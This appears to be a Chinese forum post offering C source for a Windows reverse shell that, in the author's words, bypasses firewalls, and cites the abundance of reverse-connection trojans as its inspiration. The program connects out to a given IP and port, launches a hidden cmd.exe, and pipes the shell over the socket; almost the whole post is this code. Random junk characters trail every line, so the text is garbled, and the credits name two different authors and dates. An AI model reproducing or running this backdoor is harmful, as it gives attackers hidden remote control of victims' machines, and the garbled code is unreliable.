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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L'Zud,JKg  
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/* ============================== l'T0<  
Rebound port in Windows NT p#d UL9  
By wind,2006/7 W wha?W>  
===============================*/ I={{VQ  
#include F21[r!3  
#include Z L</  
r<v%Zp  
#pragma comment(lib,"wsock32.lib") O:)IRB3  
~S6{VK.  
void OutputShell(); [R>   
SOCKET sClient; ][nUPl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P{eRDQ=  
;vdgF  
void main(int argc,char **argv) sCQup^\  
{ DZRxp,  
WSADATA stWsaData; l`&6W?C  
int nRet; c5e\ckqm^  
SOCKADDR_IN stSaiClient,stSaiServer; [r8 d+  
MF}Lv1/[-J  
if(argc != 3) >EtP^Lu~f_  
{ HW72 6K*  
printf("Useage:\n\rRebound DestIP DestPort\n"); dA/o4co  
return; 2H[a Y%1T  
} =7fh1XnW  
]ECZU   
WSAStartup(MAKEWORD(2,2),&stWsaData); QJWES%m`  
8 -;ZPhN&  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (H+[^(3d2  
H$amt^|zQ4  
stSaiClient.sin_family = AF_INET; 7RE6y(V1  
stSaiClient.sin_port = htons(0); [9om"'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K=TW}ZO  
lO> 7`2x=F  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) YBIe'(p  
{ MIF[u:&  
printf("Bind Socket Failed!\n"); @^cgq3H'  
return; [; ?{BB  
} )]> '7] i  
kZ-~ ;fBe  
stSaiServer.sin_family = AF_INET; ws>Iyw.u  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *.%)rm  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x[W]?`W3r~  
y~c[sW   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ptyDv  
{ h) PB  
printf("Connect Error!"); o!r4 frP  
return; ysJhP .  
} OCO,-(  
OutputShell(); ]#q7}Sd  
} )^S^s >3  
b[o"Uq@8?  
void OutputShell() :YXQ9/iRr  
{ Qfu*F}  
char szBuff[1024]; ioa_AG6B  
SECURITY_ATTRIBUTES stSecurityAttributes; <VR&= YJ  
OSVERSIONINFO stOsversionInfo; G!LNP&~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j_uY8c>3\q  
STARTUPINFO stStartupInfo; PB<Sc>{U  
char *szShell; N|d.!Q;V.y  
PROCESS_INFORMATION stProcessInformation; soQzIx  
unsigned long lBytesRead; n;^k   
7WfirRM  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :$Q]U2$mPS  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :'rZZeb'  
stSecurityAttributes.lpSecurityDescriptor = 0; bA^: p3  
stSecurityAttributes.bInheritHandle = TRUE; [-Tt11  
'a/6]%QFd!  
H&=4y) /.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D3AtYt  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); < Gy!i/  
o p5^9`"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MY*>)us\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; obc^<ZD]  
stStartupInfo.wShowWindow = SW_HIDE; 2j/1@Z1j=  
stStartupInfo.hStdInput = hReadPipe; &Yks,2:P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7U )qC}(  
\v P2B  
GetVersionEx(&stOsversionInfo); 27 YLg c  
*o\Y~U-so  
switch(stOsversionInfo.dwPlatformId) -kri3?Y,  
{ X.AWs=:-  
case 1: 'j<:FUDJ  
szShell = "command.com"; aco}pXz  
break; l^y?L4hg)  
default: 6dR-HhF  
szShell = "cmd.exe"; m>-^ K  
break; 9c5G6n0  
} ah"MzU)  
KYmWfM3^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M|E2&ht  
19w,'}CGk  
send(sClient,szMsg,77,0); bb0McEQy  
while(1) A"<)(M+kG  
{ qTa]th;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lp0T\ %  
if(lBytesRead) ))69a  
{ ])ALAAIc-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 031.u<_  
send(sClient,szBuff,lBytesRead,0); I%Po/+|+  
} b}?@syy8  
else < J<;?%]  
{ 0m YZ7S5g  
lBytesRead=recv(sClient,szBuff,1024,0); o`T<}z26  
if(lBytesRead<=0) break; yw Q!9 \  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8&A|)ur4  
} 3|'#n[3  
} 07LL)v~  
W/ZahPPq  
return; > ?{iv1  
}
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